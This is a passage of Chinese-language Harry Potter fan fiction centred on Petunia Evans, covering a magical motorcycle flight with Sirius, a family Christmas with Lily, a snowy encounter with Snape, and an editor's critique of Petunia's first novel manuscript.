佩妮深深吸了一口气,再次靠近他:“不,别投降,冲过去,或者让我们一起下地狱去吧。”
小天狼星突然大笑起来,手下的胸膛因这猛烈的笑剧烈地颤动起来。
他看起来畅快极了,好像等待了这么久,就为这一时刻:“那么你准备好了吗?”
准备什么?
路障离他们很近了,小天狼星一点速度也没减,甚至还在此刻拧动了他的把手,再一次疯狂地提起了速。
“抓紧我,别松手,”小天狼星贴心地对佩妮说。
“让我们一起下地狱去吧。”
佩妮睁大她的眼睛,在不知道谁的激烈心跳里,路障直直撞了上来。
下地狱去吧。
一声咆哮似的轰鸣声后,摩托车车头一扬,在佩妮没有反应过来的时候,失重感传来,她已经往上冲进了云层里。
——魔法。
“给这辆车进行一些魔法的改装,可比拿到牌照和驾驶许可证简单多了。”小天狼星的声音里满是兴奋。
佩妮讶然地低头,道路下方警车聚集在了一起,下来的警察,失去目标,拿着对讲机,徒劳无功地茫然四顾。
像一群呆鹅。
她扑哧一声笑出来。
“你在笑什么?”
“他们真像一群呆鹅。”
小天狼星也笑起来,后视镜里反射出莹白的月光,月光在他眼中流转,让他的眼睛看起来像琥珀一样动人。
车灯,路灯,建筑里的灯光,那些光线在他们脚下交织成一幅流动的图案。
月亮此刻离她很近,像一盏巨大的铜镜,佩妮怔愣地看着它。
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真正的飞行。
山雀冲破西伯利亚的风雪,飞向蓝天,看见的是不是也是同样的景象。
佩妮松开一只手,伸出去,云朵像棉线一样柔软地从她指尖流走。
小天狼星说:“咳,你总算松开手了,刚刚勒得我差点没办法呼吸了。”
佩妮感觉自己呼出的气息里还带着红酒的气息。
——她不应该喝那么多红酒。
佩妮迅速收回自己的手,重新抓住小天狼星的衣摆,警告似地说:“你不能把我扔下去。”
她听见小天狼星的笑声。
后视镜里的小天狼星观察着她的表情,声音听起来却很轻柔:“如果你害怕,我们马上就下去。”
“不,”她靠近小天狼星:“那颗是天狼星吗?”
月亮旁边有一颗明亮的星,她不确定它是不是,她只是伸出手,对着小天狼星发号施令,“向它飞去。”
但他们不可能飞向真正的天狼星,它离他们有好几十亿光年那么远。
后视镜里的眼睛直勾勾盯着她看了一会儿,摩托车在天空中猛拐了一个弯,向她指的方向冲了过去。
“收到小姐,我们向天狼星进军。”
有那么一瞬间,他们谁也没有说话,星空,月色和云海这一刻穿透了他们。
“我得走了。”
“詹姆在等我。”
摩托车飞行了好一会儿,佩妮觉得自己的心跳慢慢平复下来,她开口,但小天狼星几乎是同时与她一起开口。
于是摩托车缓慢降落在一条马路旁边的空地上,就在他们出发点的附近,周围空荡荡的,一个人也没有。
双脚踩在实地的质感使佩妮在那一瞬间感到眩晕,沉默又在他们之间蔓延,小天狼星率先打破沉默,清了清嗓子:“嘿,我的摩托车怎么样?”
佩妮慢慢把头盔解下来。
“很酷。”
“你怀里的是什么?”小天狼星突然说。
佩妮愣了一下,他察觉到它了。她抚摸着怀里的那本黑色笔记本,却没有把它拿出来的意思:“一本笔记本而已。”
“故事从那里来的吗?”
“什么?”
“你的故事,从那里来的吗?”
“嘿,小天狼星,我……”詹姆不知道从哪里冒了出来,他怀里抱着一摞东西,兴奋地冲着小天狼星说着什么,视线看见他车后座上的佩妮,剩下的话卡在了嗓子眼里。
他的头发怎么总是乱糟糟的。
绿灯亮了,佩妮从小天狼星的车后座下来,把头盔塞到了他的怀里,对詹姆点了点头,在他要开口说话之前跑向马路对侧。
她走到路灯下,突然想到自己忘了什么,停下脚步转过头来。
此时马路上没有车,对面詹姆和小天狼星交换了头盔,跨坐在了小天狼星的车后座上,喋喋不休地同小天狼星说些什么。
小天狼星偏头看着詹姆,但那双灰色的眼睛却在佩妮回头的那一刻即刻与她撞了上来,他在疑惑她的去而复返。
隔着一条马路,佩妮遥望着小天狼星的眼睛,动了动自己的嘴唇。
“再见。”
红灯在此刻亮起,汽车从佩妮眼前开过去,遮住她的视线。等下一个绿灯亮起时,马路对面空荡荡的,什么也没有了。
这是她想起来要对小天狼星说的话。
她声音很轻,但她确定小天狼星听见了。
于是佩妮也转身往自己的方向走去。
79.chapter78
多利怎么都不肯进入为它准备好的笼子里——任何人,无论是佩妮、爸爸妈妈还是莉莉,只要试图靠近她,都会被她亮出锐利爪子进行明晃晃的威胁。
“它太有个性了。”爸爸喘着气说,多利数次从他手下灵活地逃窜出去,现在正坐在衣柜顶上,舔舐着自己的毛,居高临下地看着他们。
妈妈看了一眼窗外的天色,深色的云朵沉甸甸地坠在天边,“但是我们真的要走了,得在下大雪之前回到科克沃斯。”
妈妈说的是对的。
莉莉给多利的水盆和饭碗里添加上足够多的新鲜水粮,对仍和爸爸站在一起试图哄骗多利下来的佩妮说:“别担心,你很快就回这里了。"
“你甚至都不能在科克沃斯多陪我一会儿。”莉莉的声音听起来带着点嫉妒,她视线一转,像是发现了什么,“那是你新买的围巾吗?”
佩妮顺着莉莉的视线望过去,看见了那条暗红色的围巾从衣柜半开的门里掉了一角出来,她呼吸一滞,那天匆匆忙忙地离开,她忘记把小天狼星的围巾还给他了。
其实这没有什么,她看着莉莉水绿色的眼睛。她需要请莉莉把这条围巾替他还给小天狼星。
但现在可不是个好时候,爸爸妈妈在,她没有办法向他们解释那个晚上,警车、围堵、飞天摩托,还有月亮。
于是她只好面不改色地说:“是的,这是我新买的围巾。”然后走上前去,把围巾重新塞进了衣柜里。
“我们得走了,佩妮。”佩妮再次检查了一下窗户,跟爸爸妈妈走到门口,多利蹲坐在衣柜顶上歪着头看着她,眼睛里没有一点被留下的苦恼。
是了,它是一只猫,多愁善感的从来都是人类而已。
佩妮想了想,还是回身打开了衣柜门,拿出了那条暗红色的围巾。佩妮肯定这是一条魔法围巾,因为它在持续不断地散发温暖——虽然魔法在褪色,围巾的温度也在下降,但它现在仍残留着一点宝贵的温暖。
佩妮看着多利,把这条围巾放在床上。
等机会合适,佩妮会要到小天狼星的地址,然后把这条围巾洗干净寄还给他。
多利确定这群要把它关进笼子里带走的人类不会回头后,灵巧地从衣柜顶端跃到了佩妮的床上,嗅了嗅佩妮留给它的那条围巾,头也不抬地把自己蜷缩了进去。
佩妮这才关上了房门。
气温很低,呼出来的热气在转瞬变成冰冷的水雾,走过那条小巷,红色的沃克斯豪尔在街边等着她。
发动机并未熄火,佩妮小跑过去,打开车门,暖气扑面而来,她刚坐一稳,莉莉就紧紧贴了上来:“我还以为是一只黑猫呢,明明茶杯里面显示的是一团黑色呀。”
“你们占卜学到底都教些什么,它真的准吗?”佩妮看着莉莉,诚心发问。
佩妮感受到拥抱着自己的胳膊一僵,在她的视线下,莉莉移开了自己的视线,支支吾吾地说:“起码多利头上有一撮黑毛,也算跟黑猫沾边了。”
佩妮看着莉莉的神色,一下就明白了答案。
好吧,听你自己想听的就好了,不是所有的预言都一定要实现。
想到那只逃之夭夭的黑狗,佩妮心想,她以后绝对不可能养狗,也绝不可能养一只黑狗。
“有这样一只小猫在伦敦陪着佩妮,也挺好。”妈妈说,“有时候一个人待着,就会觉得这个房间太过于安静。”
爸爸按下音响,音乐一下充盈了整个车厢,气氛开始热烈起来。
“回家!”莉莉兴奋地说。
一个近乎完美的圣诞节假期,点着火的壁炉,温暖又熟悉的室内家具,妈妈说圣诞餐桌上将会出现烤火鸡和牧羊人派,但还缺点面粉和黄油,佩妮选择绕远路前去薇拉的杂货铺。
她推门进去,室内明亮又温暖,她从货架上拿下面粉和黄油,每一排货架都挂上了绿色的丝绸条带和红色的铃铛,木架上一点灰尘也没有。
薇拉头上系着那条苏格兰头巾,在收银台后面将打包好的物品拿给她。
佩妮抬起手,指着薇拉身后的墙说:“我要那副耳饰。”
杂货铺正对着她的墙上挂着她的那副向日葵——插在花瓶里的金色宝剑,剑柄上开着朵朵的向日葵,薇拉真的请人将那幅画装裱了起来。向日葵下就悬挂着一块墨绿色的幕板,上面展示着数十件精致小巧的配饰,它们在灯光下发出令人目眩的光芒。
薇拉将那副耳坠放到佩妮手上,同她先前掉落的那对有些相似,不对称的金属耳坠,但形状与质地却与先前的那副不太一样。
“我这儿可没有一模一样的东西。”薇拉说,“每件饰品都是独一无二的。”
普尔佳站在佩妮的旁边,对她们说她用在烘焙坊打工挣的钱租了一间属于她的小房子,将她妹妹接了出来。
“她现在很乖,已经不会大吼大叫了。”普尔佳骄傲地对佩妮说。
佩妮没有喝酒,但她感到微醺。
她推开杂货铺的门,不期然在门外碰见了一头火红的头发——莉莉就站在杂货铺外面等着她。
“你怎么来了?”她有些吃惊。
“我来接你呀,”莉莉对她眨动着那双绿色的眼睛,跳到她身边,“因为下雪了,你出门没有带伞。”
佩妮后知后觉地抬头,发现雪花纷纷从天空中落下来,科克沃斯罕见地下了一场大雪。
还没有等那些雪花落到佩妮的脸颊上,一把撑开的大伞就遮在了她的头上。
莉莉挤到她的身边,紧紧牵着佩妮的手,与她依偎在同一把伞下。
“你为什么只带一把伞。”
水绿色的眼睛看着她,牵着她的手缩紧,她把头靠在佩妮的胳膊上:“因为我想和佩妮撑同一把伞。”
佩妮伸手试图从莉莉手上接过伞柄,但红色的脑袋立刻警觉地抬了起来:“你要把我从伞下推出去吗?”
也是在这个路口,火焰从远处跑过来的火焰,牵着她的手跳进炉灰巷。
漫天飞舞的石砖。
莉莉永远爱佩妮,永远。
佩妮长叹了一口气,从莉莉手中用力拔出了伞柄:“是你打的伞太矮了,挡住了我的视线。”莉莉咯咯笑起来,用力抱紧了她的胳膊。佩妮不得不有些艰难地对抗着莉莉强塞给她的重量,重新调整了伞面的高度。
那把不大的伞在雪中隔出一个不大的空间,将她和莉莉紧紧笼罩起来。
“我记得那间杂货铺原先没有牌子。”莉莉说。
佩妮回头,扬起伞缘,那间杂货铺原先没有任何标识的大门上钉上了一块显眼的木牌,
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上面用醒目的字体大大标识着“薇拉的杂货铺”。
“但现在它是薇拉的了。”
地上不多时积起一层薄雪,鞋子踩上去发出细微的声响,路灯的光线在身后追赶着她们的影子。
一双黑色的皮鞋在雪中与她们擦肩而过。
伞缘抬高,黑色皮鞋的主人拢在一身更黑的黑色长袍里。
他左手夹着一本厚重的书,脖子上围着一条浅一些的黑色围巾。他全身上下就这么笼罩在一片深深浅浅的黑里,路灯下只有脸是苍白的。
天气很冷,呼出的气立刻凝结成了白霜。
来人黑色的眼睛里好像也在下雪,睫毛之间像结了一层厚厚的冰。
佩妮没有想过会在这种地方遇见他,她犹豫着停下来,不知道要不要打声招呼。
但佩妮突然察觉到右边抱着她胳膊的人迅速僵硬了起来。她偏过头去,在她的视线中,莉莉紧紧咬着牙,站在雪地里,那双水绿色的眼睛一错不错地直视着前方,里面晶莹地闪动着什么。
来人却并没有停下来,只是面无表情地从她左边直直走了过去。
一阵极淡的,苦涩的草药味道传来。
他的眼睛径自盯着前方雪地里不知名的何处,一点多余眼神也没有向她们瞥来,就好像她们不存在在这天地间似的。
擦肩只是一瞬间,很快的一瞬间,苦涩的草药味就消失了。
“我与他绝交了。”莉莉很小声地说,以确保声音只能被伞下的她们听见,“夏天发生的事情。倒不如说事情总算到了那一步。”
她对佩妮勉强扬起一抹微笑,她的脸被大雪映照得也很苍白,佩妮看见她绿色的眼睛盈盈闪过水光,但街灯昏暗,只是一个眨眼,那水光就不见了,变成了坚定的绿色。
“他选择了他的道路。”
“但我也有我的路要走。”
“我由衷希望西弗勒斯·斯内普能找到他所寻求的渴望的,并且希望他选择的道路能给予他应得的一切。”
“作为对曾经最好朋友的祝福。”
“朋友?”佩妮看着莉莉,“他从来没有对你说过什么其他的话吗?”
“什么?”好像一些不悦的回忆涌起,莉莉的脸上泛起愤怒的红晕,“如果那个词就是他对我的真实想法外,他并没有什么想要对我说的话。”
佩妮回头。
天地间飘着茫茫大雪,遮挡她的视线,使她看得不那么清晰,她不确定有那么一瞬他是不是想停下来,回头——但那很可能只是佩妮的错觉。
她突然发现他没有打伞,他的背影看起来相当倔强,他就这样决绝地走在茫茫大雪中,任凭雪花落在他的头发上和围巾上,直至与街尽头的黑暗融为一体。
记忆不知为何,突然被拉回到那年暑假的图书馆。
——“也许从欧律狄克被毒蛇咬伤的那一刻起,就注定她和俄耳甫斯已经是两个世界的人了,他们永远也回不去了。”
他坐在桌子的那一头,举着羊皮纸,挡住他的下半张脸,只能看见他那双黑色的眼睛。
他知道那把穿透他胸腔的利剑名曰爱吗。
他要被打败了,佩妮心想。
佩妮突然握住了莉莉的手,竖起那把伞,对莉莉说:“你想吃小熊饼干吗?”
80.chapter79
科克沃斯一连下了好几天的雪。
门把所有的风雪和寒冷都阻隔在了外头。
一扇关上的玻璃窗。
餐桌上摆着烤火鸡、熏三文鱼还有圣诞布丁,爸爸端着红酒向莉莉和佩妮宣布圣诞节后他即将和妈妈开展一趟去爱尔兰的双人之旅。
“爸爸的报纸填字游戏中了一等奖。”可能是因为红酒,妈妈的脸有一些红,她看了一眼爸爸说,“这趟旅程我等了十几年。”
“噢,爱情。”莉莉说。
佩妮喝下自己杯中的蛋奶酒,室外下着雪,室内点着温暖的炉火。
一个近乎完美的圣诞节。
唯一的一点小意外,在拆圣诞礼物的时候。
“我们已经不是小孩子了。”莉莉抱怨道,佩妮第一次十分赞同莉莉的想法。但爸爸妈妈坚持要佩妮和莉莉在圣诞树下拆礼物。
“传统,这是传统。”爸爸说,他肯定红酒喝多了,说话的声音越来越大,“为了给你们拆礼物,这棵圣诞树我从节前就已经开始准备了。”
“在我们心中,你们永远是孩子。”妈妈说。
但佩妮认为在圣诞树下拆巫师的礼物可不是什么好主意。
瞧瞧那个包装精致的蓝色盒子,还没有拆开,莉莉只是刚把手伸过去,它就已经在圣诞树下迫不及待地抖动起来。
莉莉刚把它拿到手上,盒子振动得更加猛烈了。佩妮默不作声地后退一步,看着没有什么经验的微醺的爸爸好奇地把他的脸伸了过去。
莉莉刚拆开缎带,砰的一声,一个不明物品便急速地从里面冲了出来。它贴着佩妮的鼻梁险之又险地飞出去,掀起一阵风,先击中了爸爸的脸颊,随后拐了个弯,把妈妈手里的热可可撞到了地毯上,再吃饱了后将头塞在翅膀下打盹的塞勒涅吓得飞上了二楼。
莉莉惊叫了起来,爸爸捂住了自己的脸痛呼一声,妈妈想要去查看爸爸的脸,但又被热可可弄脏的地毯绊住了脚步,二楼的楼梯上,塞勒涅不悦地拼命闪动它的翅膀,拉长了脖子拼命地鸣叫。
佩妮捂住了自己的眼睛。
那个冲出来的古怪东西才不管这混乱的场合呢,它自顾自地抖动着自己的翅膀,快乐地游荡一圈庆祝自由后,停在了莉莉前方的空中,佩妮才看清它的模样,那是一颗长着翅膀的金色小球。
停了几秒中,砰地一声炸成了好几束五彩斑斓的绚丽烟花。
烟花在空中组成了一行字:
“祝百合花常开不败。”
随后一张照片徐徐出现在了烟雾中。
一张会动的魔法照片。
一座高台——像是看球台,莉莉坐在看球台的正中间——这张照片里的她格外美丽。骑着扫帚的黑头发男生从画面一闪而过,将一顶奖杯,还有一颗金色的东西塞进了莉莉的怀里,周围人群像在高声欢呼什么。
“这太浪漫了。”妈妈说,“谁送给你的,莉莉?”
莉莉发出了一声尖叫,跳上去扯下那张照片塞进自己的口袋里,冲上了她的房间,她的脸看起来比她的头发还红。
被留下来的那行字在空中持续了整整十分钟才消失。
祝百合花常开不败。
用脚趾想,都能猜出来这个礼物是谁送给她的了,佩妮心想。
但总算,佩妮也不用在圣诞树下拆礼物了。
佩妮把礼物拿到自己的房间,跟着妈妈走进了厨房。莉莉也自己从房间里下来了,她的脸上还残留有一些红晕,她呆在圣诞树下同爸爸一起收拾那些残骸。
佩妮将水池里的碗筷摆放在厨架上,她透过厨房的玻璃朝外看。爸爸从圣诞树下找到了一个礼宾炮,莉莉不知道从哪里翻出来了一顶圣诞帽,给爸爸戴了上去。爸爸朝空中拉响了那个礼宾炮,莉莉拍着手,大笑着看着那些五彩缤纷的纸带从空中落到她和爸爸的头上。
“她怎么永远一副长不大的样子。”佩妮抱怨道。
妈妈抬头看了一眼外面,又看了看佩妮的脸色,扑哧一声笑出来:“因为她有佩妮,还有我们啊。”
“哼,”佩妮冷哼一声,“再过一年她就要毕业了,还这么幼稚,我才不会像你们那样惯着她呢。”
“莉莉也到被人送花的年龄了。”妈妈感叹到。
佩妮突然意识到一个问题,小天狼星会不会把他的那辆摩托车借给詹姆?如果詹姆胆敢带着莉莉,骑上那辆摩托车,在马路上上演生死时速,想到这儿,佩妮小小吸了一口冷气,她不介意再把他和小天狼星的脸按在墙上。
“前一段时间,索菲回到了科克沃斯。”妈妈说。
佩妮一愣,她洗碗的手一顿,白色泡沫就顺着她的手腕滴进了水槽。
“你不知道吗?索菲·特拉瑟姆。噢,不对,她现在应该是文森特太太。”佩妮现在才知道索菲身边的那个男人姓什么。
“我们都小看了她呢,她竟然真的凭借自己的努力,写了一本小说。那本小说还要改编成电影了,据说版权卖了好大一笔钱。”
“她现在是科克沃斯的骄傲,政府想要宣传她。”
“她回到科克沃斯,要捐一大笔钱给圣凯瑟琳中学修建图书馆,但她要求必须在图书馆单独设列一个书架,用来摆放浪漫爱情小说。”佩妮看着妈妈,“阿加莎女士怎么都不肯答应,因此不同意捐款,他们在财政厅闹的很僵。”
“但文森特先生出面解决了这件事,圣凯瑟琳中学接受了那笔捐款,只是接受捐款那天,阿加莎女士没有出面。索菲看起来真漂亮,她的先生看起来也气宇轩昂,同她很是般配。”
佩妮一时说不清她现下的心情,她只是打开水龙头,机械地冲洗着碗碟上的泡沫。
“在你的房间,我闻到了香水的味道。” 妈妈的话题猝不及防地落在了佩妮身上,“谁送给你的?”
佩妮心下一跳,弗农·德思礼的面孔浮现在佩妮的脑海里,但她迅速把他压了下去。
“一位同事。”佩妮强装镇定地说。
看着妈妈的眼睛,佩妮强调了一遍:“普通的同事。”
“可是普通同事为什么会送你一瓶香水?他是一个怎样的人。”妈妈看着她,那双绿眼睛里透露着看穿一切的狡黠。
“他是格朗宁公司的一名初级主管,之前我帮了他一点忙,他为了表示感谢,因此送了我这瓶香水。”佩妮没有办法直视妈妈的眼睛,她将水池中的碗碟从一个架子上挪到另外一个架子上,“只是一位普通同事而已。”
“机会可不等人。”妈妈对佩妮眨了眨眼。
艾丽卡的脸此时在佩妮的心中浮现了出来。
同时浮现出来的还有雨幕中的火车。
彩色玻璃穹顶。
关于月亮女神的画。
热红酒。
想到这里,有什么东西抓住了她的心脏。
噢,还有电视机的雪花——那是宇宙穿越138亿年送来的一点讯息。
一个荒唐的想法突然充斥了佩妮的大脑——要把这个滑稽的理论告诉爸爸妈妈,听听他们的反应。
“你已经到了可以享受爱情的时候了,佩妮,”妈妈说,“我……”
“妈妈!”佩妮在这个时候打断了她。不知怎的,她脱口而出,“这是我的生活,不是你的!”
错愕在妈妈眼睛里一闪而过。
佩妮立刻后悔起来。
你究竟在胡说八道些什么呢,佩妮。
“妈妈……我,”佩妮语无伦次地说,“我……”
莉莉在这个时候兴冲冲地冲进厨房:“佩妮,你忘记做小熊饼干了,你答应我要给我做小熊饼干的。”
她打断了佩妮要说的话,也打破了佩妮和妈妈之间的氛围。
妈妈那双水绿色的眼睛眨了眨,然后扬起一抹笑容,对莉莉说:“模具呢?模具是不是在阁楼,我要去给你们找出来。”
妈妈若无其事地甩干净手,在围裙上擦了擦,她对佩妮温柔地笑了一下,水绿色的眼睛里什么也没有,她用冰冷的手拍拍佩妮的脸,闪身出了厨房。
佩妮呆呆站在水池前,双手浸在满是泡沫的水池里,
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泡沫顺着她的手臂一路上沿,淹没了她的嗓子。
但第二天妈妈一切如常,她温柔地同她们说话,给她们准备美食,看上去就像什么事也没有发生。望着那双水绿色的眼睛,佩妮张嘴要说出的话卡在她的嗓子里,妈妈不在乎,因此要说出那句话来未免显得太刻意了。
一直到该启程回伦敦了,佩妮也没有说出那句话来。
他们先把莉莉送进九又四分之三站台。
汽车上只剩下了爸爸妈妈和佩妮。
车内没有人说话。
音响外放着音乐,是爸爸最喜欢的歌手,他一边开车一边跟着音乐低声哼唱,妈妈侧望着车窗外,车灯,街灯还有路边房屋的灯光倒退,像流星一样划过。
佩妮手指不自觉搅紧着她的衣服下摆。
他们走在那条没有路灯的巷子里,走到一半,月亮被云朵遮住了,小路被黑暗笼罩。
佩妮早已习惯云朵时不时吞没这条小路的幽光,可每当黑暗降临,她的心总是不由自主地跳动一下,她停下自己的脚步,在原地等待月亮的重新出现。
但此时黑暗中一左一右伸出两只手,牢牢地握住她——左边那只手是爸爸,右边是妈妈。
佩妮松了一口气。
他们牵着佩妮的手,带着她无视黑暗的笼罩,沿着小路向前走,直到看到公寓前方路灯的光线。
爸爸妈妈把佩妮送回公寓,推门进来的时候,多利睡眼惺忪地从暗红色的围巾上抬头,眼睛只消一会儿就恢复了清明。
它从床上跳下来,慵懒地伸了一个懒腰,引领着他们走到它的饭碗前。
——水还剩一点,粮却吃完了。
人,放饭!铲砂!
多利眼睛满是急不可耐的催促。
爸爸提着多利的宝贝先行下楼去找垃圾桶。妈妈把佩妮的衣服一件一件从行李箱拿出来。
暗红色的围巾已经完全冷了下来,小天狼星在围巾上加诸的魔法已经失效了。
“妈妈,”佩妮叫住了要开门离去的妈妈,她一半身体沐浴在楼道的光线里,一半身体则被佩妮房间的冷光照亮。
“对不……”
但妈妈打断了她,“佩妮,永远也不需要对妈妈说那句话,”她转身看着佩妮,眼睛里盈盈闪着动人的光芒,“这是你的生活没错。”
佩妮感到胸口有一些发热,她深吸了一口气,斟酌着语句跟妈妈说:“妈妈,格朗宁钻机公司的工作很好,伦敦的生活也很好。”
“但我去了一趟伊索尔德的大学……”
“阿加莎女士送了我两本书,一本关于拉丁语,一本关于哲学,原来那是两本关于A level课程的书籍。”
“我读不懂,两本都读不懂,但伊索尔德写信给我说她会帮我,我……”
“那条小路太黑了,没有灯,”妈妈抬手摸上了佩妮的脸,佩妮感受她手掌的温热,还有掌间粗糙的薄茧,那是记忆里的触感,“你一个人经过那条小路,妈妈只是希望有一个人能存在在那里,在我们不能陪伴你,而你又需要的时候。”
“莉莉有魔法可以保护她,可没有魔法的我们,又能用什么来保护你呢?”
她的叹息伴随着橙花,金合欢,还有茉莉花香,沉沉落在了佩妮的心间。
“但那是你的生活没有错。”她的声音听起来既满足又遗憾,佩妮觉得自己的胸腔因此既满涨又好像缺了一点什么。
“玛格丽特,我们要回去了。”楼道里传来爸爸催促妈妈的声音。
“马上就来。”妈妈推开门,灯光熄灭又亮起,她的目光像水潭一样深邃又温柔,“无论是莉莉,还是佩妮,妈妈都只希望她们能拥有幸福快乐的生活。”
“妈妈!”在妈妈推门的那一瞬间,佩妮突然叫住她,有那么一瞬间佩妮想追上去,但多利喵呜叫了一声,挡住了她的脚步。
望着妈妈绿色的眼睛,佩妮耸了耸自己的肩膀:“祝你和爸爸旅途愉快。”
咔哒一声,房门被关上,佩妮与多利一起被留在了原地。
81.chapter80
佩妮再次推开那间出版社的门。
大部分的白炽灯已被关闭,只有水池顶部的天花板还亮着一盏,投下不太明亮的光线。右手靠墙的一排打印机只剩零星几台还嗡嗡作响。
一个身影正站在水池旁边,没有听见佩妮开门的声音,正背对着她专注于手上的事情。
“嘿。”佩妮走过去,试探性地同那个身影打了一声招呼。
那身影身形一震,啪,有什么东西一下掉在了地上。
——一个清洁刷子。
那身影转身,灯光照亮一位身材有些矮小的年轻女人。
她穿一件白色修身衬衫,衬衫下摆束在黑色的职业裙中。黑色的头发往后梳成马尾,刘海下架着一副厚重的黑框眼镜,脸上的表情看起来显然被佩妮吓得不轻。
女人戴着一副橡胶清洁手套,在佩妮进来之前,她在清洗水池旁边的那台咖啡机。
转身时,她胸前的工牌从佩妮视线前一晃而过。
上面写着“编辑:玛莎·道尔夫”。
照片上的女人露出牙齿,笑容十分璀璨,佩妮抬头,但真人与那照片显然存在一点差距。
差在那副厚重的黑框眼镜,还有眼镜后面的眉毛上。
一副相当有特色的眉毛,眉头比眉尾高出一大截,使两簇眉毛看起来总向下撇着,让她弥漫在一种淡淡的哀愁与苦闷中。
“噢,佩妮,是你,”而现在她正用那副愁苦的表情看着佩妮,“我没有听见你进来的声音。”
“对不起,玛莎。”佩妮先行一步弯腰从地上捡起那个刷子递给玛莎,“我吓到你了。”
“噢……也没有,已经到我跟你约定的时间了是吗?”玛莎撇起她的眉毛,接过那柄刷子。
那副厚重的眼镜滑落到了玛莎的鼻梁上,她想推一下眼镜,但她发现自己还戴着那副清洁手套,她举着刷子茫然地站在原地,思索了好一会儿,才像找到自己的灵魂。
“事情总是有一点多,我总是想到这个,忘记那个,”玛莎转身,“请稍等我一下。”
“你一直都工作到这么晚吗?”佩妮忍不住问。
“还好,为他们找到那些原稿,校对样本,整理文件,等待最后一台打印机结束工作,把它们全关上。”玛莎小姐一边清洗着刷子,一边对佩妮说,她的眉头高高撇起,哀愁笼罩了她,“清洗咖啡机,关掉所有的电源,再结束我一天的工作。”
“来吧。”玛莎摘下自己的手套,挂在水池边沥干,将她的手在黑色工裙上拍了拍,弄干上面的水珠,带着佩妮来到她的工作位置上。
她从桌面上立着的文件里抽出了佩妮的那本黑色笔记本。
佩妮立刻咬住了自己的牙齿,感觉到心脏在胸腔里不受控制地猛烈跳动起来。
“要出版一本书很简单,你只需要完成一个属于你的故事,然后拿去出版社,放到编辑的面前。如果他不喜欢,就换一个编辑,换一家出版社也行。”塞拉菲娜站在书架后这么对她说。
圣诞节假期结束后,佩妮再一次来到这间出版社。
玛莎·道尔夫当时也站在咖啡机旁边,做着同佩妮一样的工作。
看着那双蹙起的哀愁眉眼,佩妮把她那本黑色笔记本试探性地递给了玛莎。
她知道这不符合规定,她应该填一份预约单,把她的小说扔进那个像垃圾桶一样的黑桶里。
她这么对玛莎形容,佩妮确信她看见了一丝隐秘的笑意从玛莎小姐的眼睛里划过,冲淡了她脸上的那抹哀愁,但她立刻又蹙起她的眉,换上了那副愁苦的表情。
只是她答应佩妮,让她两周之后再来这里找她。
玛莎拿起了她的那本黑色笔记本,佩妮坐在凳子上,不自觉攒紧了自己的双手。
“我读完了你的小说,佩妮。“佩妮看着玛莎,她撇起的眉毛松开了那么一下。
一瞬间,那些回忆向她涌来。
被困在电视机里的伊索尔德。
薇拉的苏格兰头巾,普尔佳身上的草药味。
牵着她的手,想要拥抱她的莉莉。
在等待玛莎小姐宣判的时间里,这些回忆充斥在佩妮的脑海。它们就像奔流的河水中那些枯枝浮木,彼此之间没有逻辑,也没有意义,但它们就那样乱糟糟地存在,存在在她的大脑里。
“这本小说里,我感受到了你充沛的情感。”玛莎抿起她的嘴角。打印机吐出最后一张纸,最后一台也停止了工作。室内的环境非常安静,只听得见玛莎的声音还有因她的这句话在血管里加速奔流的血液流动的声音。
灰与榆打开的窗户外,尖塔似的屋顶,夜色中飞过去的鸟。
飞过去的鸟——西伯利亚的积雪,冲上云霄的鸟。
玛莎小姐很轻地叹了一口气。
“但它还达不到出版的要求。”
佩妮看着玛莎,玛莎一双哀愁的眉眼注视着佩妮。她的眉头高高撇着,眉尾低垂,这样一副表情里没有一点的高不可攀与盛气凌人,因此佩妮知道她说的每一个字都是真的。
它还达不到出版的要求。
佩妮的手搭在玛莎办公桌的边缘,手指触碰在桌面,就像触碰九又四分之三站台那堵粗糙厚重的石墙。
有雪下在了她的心上。
但出乎佩妮的预料,它张开翅膀抖了抖积雪,佩妮听见自己冷静的声音。
“是哪里出了问题呢?”她看着玛莎。
她既非女巫,也不是山雀。
但她也想知道问题出在哪里。
那名男编辑交叠抖动的黑色皮鞋不合时宜地浮现在她的眼前。
“其实我没有读过什么伟大的书籍,玛莎小姐。”佩妮试探性地说,“我看的书是傲慢与偏见、简·爱、小妇人,剩下就是一些爱情小说。”
“火与花、冬日烈火、风中的灰烬……那些书您知道吗?”
佩妮吐出一把锋利的手术刀,她不介意把自己一条一条剖给玛莎看。
“我是从小镇来伦敦的姑娘,科克沃斯,玛莎小姐你听说过它吗?”
“我刚从圣凯瑟琳现代中学毕业。就在中学里,我们只学简单的英语写作,其他时候我们学习烹饪,缝纫。六年级我多选了一门打字课,所以才能在伦敦找到一份打字员的工作。”
“我把一切都想得太简单了吗?”她说。
但玛莎的眉头却越蹙越高,整个人简直笼罩在了一汪忧伤的湖水里。
她看着佩妮:“不不,佩妮,问题不出在你说的这些里。”
佩妮注视着那汪哀伤的湖水。
“你的小说有显而易见的问题,大多数新人作者都会存在这些问题。”玛莎小姐那双哀愁的眼睛快把佩妮淹没了,“因为这些问题的存在,我认为你的小说暂时还达不到出版的要求。”
“但那是小说的问题,不是你的问题。”
“跟你之前一直在读的书没有关系,好吧,也不能说完全没有关系。”玛莎小姐说,“你看见什么总是决定你能写出些什么。”
“跟你的教育经历也没有任何关系,佩妮。”
“我们只谈论这本小说。”
“这本小说里你有情感,这是最动人的。”
“但只有情感是远远不够的。”
“先说你的文笔,有些地方描述太过于冗余了,在遣词造句上也不够准确。”玛莎翻开了她的黑色笔记本,她一定认真看完了那本的小说,内页用铅笔圈出了很多地方,有几页是满满的石墨痕迹。
玛莎诚实地告诉她,还不够。
一颗心沉甸甸的既酸又涩。
“最大的问题在结构和情节,佩妮,部分章与章的联系过于松散。有的段落你自己也没有想好要表达什么,对吗?”
那把疯狂的手术刀被玛莎握住了,玛莎控制住了她的手,带着佩妮在纹理之间游走,挑断错综复杂的经络,显现出事情最本质的骨架。
“光有情感是不够的,佩妮,”玛莎看着她,“写作不能是情感单方
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面的宣泄。”
有温柔的风吹开湖面上盘旋的迷雾,湖水倒映出她最真实的脸庞。
“玛莎!”有人在这个时候打断了她们,出版社的门被粗暴地推开,生锈的绞索发出吱呀一声响,她们两人同时被吓了一跳,佩妮回过头去。
进来的人穿着一件驼色大衣,头上戴着一顶褐色的帽子,室外的冷风从他身后灌进来,降低了室内的温度,使佩妮情不自禁打了一个寒战。
“你竟然还在工作。”来人摘下帽子,用一种很夸张的语气对玛莎说。
“如你所见,沃特斯。”玛莎蹙起了她的眉。
